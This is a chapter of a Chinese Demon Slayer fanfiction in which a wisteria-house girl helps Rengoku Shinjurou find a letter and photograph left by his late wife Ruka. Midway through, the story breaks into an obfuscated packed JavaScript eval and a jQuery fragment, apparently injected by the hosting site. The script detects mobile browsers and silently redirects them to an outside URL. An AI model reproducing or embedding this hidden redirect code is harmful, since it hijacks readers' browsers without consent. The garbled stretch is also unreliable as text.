20.第二十章

作品:《[鬼灭之刃]在紫藤花之家

    由于宿醉,或者是压根毫无动力出门,炼狱槙寿郎在屋内睡了一天半,期间除了放在门口的碗盘变空,完全没有见到这位炎柱大人的身影。


    直到第二天下午,鎹鸦催促他去做任务,这才不情不愿地爬起来。


    宿醉导致的头疼令他浑身布满消散不去的低气压,整张脸臭地不行,红黄相间的头发全都炸开。


    瞧着更像炸虾了。


    藤花月咲在走廊一拐角,撞见了有起床气的炎柱,脚步微不可见地顿了顿,神色如常地上前。


    “膳食已经准备好了,炼狱大人用完再走吧。”


    “……啧,酒拿来,现在、马上。”炼狱槙寿郎捂着脑袋,胡子拉碴,身上的队服和羽织松垮又皱巴巴的,日轮刀随意地别在腰间。


    藤花月咲点头,快步去取酒罐,暗自想炎柱的脸色着实不太好看。


    不光是表情的缘故,还有郁结于心、饮食不规律、酗酒造成的皮肤暗沉和黑眼圈,肝劳症状很明显。


    以及……尽管藤花月咲对相面占卜一窍不通,也感觉对方面色隐隐发黑。


    难不成这就是传说中的印堂发黑?


    不过她没感应到什么重大危险,应该只会小倒霉而已。


    炎柱没留下吃饭,提上酒罐正要离开,身后传来少女清亮的声音:“炼狱大人,今日出门运势欠佳,请您路上小心。”


    这一句突兀的提醒,让炼狱槙寿郎稍稍回头瞥一眼对方,没在意,眉眼低沉着走了。


    但很快,这句话便应验了。


    好端端走在路上,一侧房屋二楼突然泼下盆水,以炎柱的反应力与身体素质,当即闪避开了,半点没溅到衣角。


    他望着二楼道歉的妇人,转身就走。


    不一会儿低头一看,草鞋断了,从断面来看并非人为,却全无征兆。


    他把草鞋扔了,重新买一双。


    傍晚路过集市,想吃街边卖的烤红薯,排队轮到他时,恰好卖完了。


    炼狱槙寿郎:“……”


    他开始警惕起来了。


    最让他感到不可思议的是,凌晨时分他与鬼交锋,要拔.出日轮刀时,竟然在刀鞘里卡住了一下。


    虽然仅是短暂的一下下,躲开鬼的攻击后很快便松开拔了出来。对手的鬼不算强,以他的实力来说不足为惧。


    可炼狱槙寿郎仍然后背惊出冷汗来。


    他很清楚日轮刀卡刀鞘的原因。自己在妻子过世后便颓废下来,觉得一切事物失去了意义,不论做什么都很无聊,当然也荒废了剑技与对日轮刀的保养。


    甚至可以说,这把日轮刀能坚持到现在,已经是当初刀匠锻造出来就为刀中极品的功劳了。


    然而,为什么恰好是今天、方才,它卡住了?


    天谴?炼狱家先辈们的警示?


    因为他这几年一蹶不振,让炎柱的称号声名狼藉?


    如果真有天谴,为何老天将妻子从他和孩子们的身边夺走,却让恶鬼逍遥自在地游荡人间?!


    炼狱槙寿郎双目燃起烈焰,把鬼逼到角落,单臂挥刀一次又一次砍断鬼的手脚身体,发泄心中的愤慨与怒火。


    蓦地,他想到了紫藤花之家那位少女的话,运势欠佳?


    妻子离世的那刻起,他就陷入一种诅咒,再没觉得运气好过了。


    刀尖垂地,炼狱槙寿郎看着眼前的鬼支离破碎地缩在角落,手脚再生的速度很慢,只能颤抖地承受攻击,忽然觉得没有意思。


    好累,不想继续下去了。


    他回身要走,如同往常那样举起酒罐往嘴里灌了一大口酒。


    动作一顿。


    “噗——!”


    炼狱槙寿郎把酒全喷了出来,边咳嗽边瞪大双眼,难以置信自己刚才喝到了什么。


    哪怕有微乎其微的酒味,也不能掩盖那股水果的清香和有些发腻的甜味,甚至酒液都是粉红色的!


    紫藤花之家的人,居然拿这种古怪的酒来糊弄他么?!


    角落里,被炎柱逼得抱头鼠窜的鬼终于有了一丝喘息的机会,眼看对方没有立刻斩下他头颅的意思,等到男人转身离开,剧烈的求生欲让它迫切再生出短小的肢体,试图爬着逃离带给它恐惧与阴影的强大人类。


    爬了几下——“咻”。


    在它还没反应过来时,脑袋已经在地上滚了好几圈。


    鬼的头颅还未落地,炼狱槙寿郎已然收刀,额角的青筋一跳一跳。


    是么?好啊,连紫藤花之家的人都不把他当回事了。


    他让鎹鸦引路回去。


    他的鎹鸦飞着飞着,不免担心。


    ……要是藤花少女被赶走了,还能吃到新鲜的青梅吗?


    ——


    一夜过去,藤花月咲这回终于从炼狱瑠火那儿问出了存放遗书的位置,打着哈欠给紫藤花树上的鸟屋添水和青梅。


    最近青梅大量上市,价格挺便宜的,她拉着小板车买了许多回来,打算和寿奶奶共同腌制接下来一整年的梅干。


    梅干可以包饭团、作小菜和调味料,每到这个季节家庭主妇们都会跟约好了似的集体采购,紫藤花之家自然不能落后。


    腌制好梅干后,藤花月咲思及炎柱的身体,又熬制了一剂主治肝劳的猪膏酒。


    微火煎猪油和姜汁,倒入米酒熬煮,灌进葫芦里。


    藤花月咲搓手,想着反正全是酒,炎柱大人不喜欢草莓酒的话,就把猪膏酒换过去。


    她对炼狱先生没有太多喜恶情感,但很喜欢瑠火夫人,在梦里跟对方谈话能察觉出,这位夫人也许才是支撑炼狱家三名男性的中心。


    威严而又温柔,有稳定且强大的内核,正义感十足。


    藤花月咲认为炼狱槙寿郎先生肯定追了很久,才能娶到这样的妻子。


    如果瑠火夫人没有病逝,真想和她坐下来好好喝茶聊天呢。


    而此时此刻,炼狱槙寿郎也回到了紫藤花之家门外,却没有进去。


    半晚上的赶路令他的头脑逐渐冷静下来,不由扶额,这是在干什么?


    跟一个和杏寿郎年纪仿佛的少女计较这些有什么用,倒更像是迁怒。


    再说了,如今的炎柱确实无法叫人发自内心尊敬,不是么。


    炼狱槙寿郎不愿久留,只不过他的鎹鸦出卖了行踪。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955206|192282||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他站在门口纠结的时候,鎹鸦早就从围墙上方飞进去,停在了紫藤花树上,叼起一颗青梅开心地吃着。


    这两天没有其他队员入住,这孤零零的干饭鸦便尤其突出了,扫地的藤花月咲一眼认出这是谁的鎹鸦。


    “怎么只有你,炎柱大人呢?”


    鎹鸦翘起一只脚,指向墙外。


    炼狱槙寿郎走了几步,身后倏然有人小跑追来,“炼狱大人!”


    回头一看,是紫藤花之家的少女。


    藤花月咲没想到这个损招竟然真的奏效,尽管她冒着被炎柱投诉的风险,可她更担忧对方不来。


    她把葫芦塞到炼狱槙寿郎手里,“耽误您时间了,这个是有人拜托我给您的。”


    “?”


    “还有,在您家茶室入门第三块榻榻米下面的暗格里,那人说有留给您的东西。”


    不等对方拒绝,藤花月咲跑回宅邸,从门缝暗中观察。


    炎柱原地站了片刻,满脸疑惑加不知所谓地走了。


    万一他不当回事怎么办?


    想到瑠火夫人的请求,藤花月咲在庭院转了好几圈,最终目光落在了紫藤花树上干饭的鎹鸦。


    ——


    完成任务的炼狱槙寿郎回到宅邸,果然没将少女的话放在心上。


    他把那罐古怪的酒扔给大儿子,自己去打了酒回来,躺在房间里又喝得酩酊大醉。


    炼狱杏寿郎见状,并未说什么,而是先把弟弟千寿郎哄睡,然后在庭院里边回忆父亲曾经的教导,边练习挥木剑。


    深夜,鎹鸦向主公报告完任务飞回来,看到男人满身酒气,倒在地上烂醉,蹦跳上前去啄对方的脑门。


    炼狱槙寿郎睡梦中大手一挥,差点把鎹鸦打飞。


    “茶屋第三块榻榻米!茶屋第三块榻榻米!”


    “吵死了!”又一掌过去,鎹鸦掉了几根羽毛,飞到窗外的树上坚持不懈地叫着。


    男人睡死了过去,浑然未觉。


    庭院里,炼狱杏寿郎训练得满头大汗,被叫声吸引了注意力,轻轻走过去听了会儿,暗想难道是其他队员需要家里的某样东西吗?


    循着鎹鸦说的内容,他在茶屋第三块榻榻米下的暗格里找到一个信封。


    正想交给鎹鸦,未糊住的信封口飘落一小张纸片。


    炼狱杏寿郎捡起纸片,发现是张相片,翻过来,金红色瞳孔猛地一缩。


    ……


    又是宿醉,炼狱槙寿郎迷迷糊糊醒来,完全不知道已经什么时候,外面倒还是白天。


    昨晚没有铺被褥,但身上有杏寿郎给盖的被子。


    他沉默了半晌,正要掀开被子,视线捕捉到被子上有一张相片。


    烦躁地随手捡起来,漫不经心地一看。


    瞳孔地震。


    炼狱家宅邸的庭院里有一棵樱花树,当年他与瑠火结为夫妇时种下的种子。而樱花树从种子到幼苗再到开花,通常需要10至15年。


    在这棵樱花树初次开花的那一年,瑠火病逝了。


    这张相片,正是瑠火坐在绽开纷落的樱花下,穿过时空与死亡界线,再次冲他露出浅笑。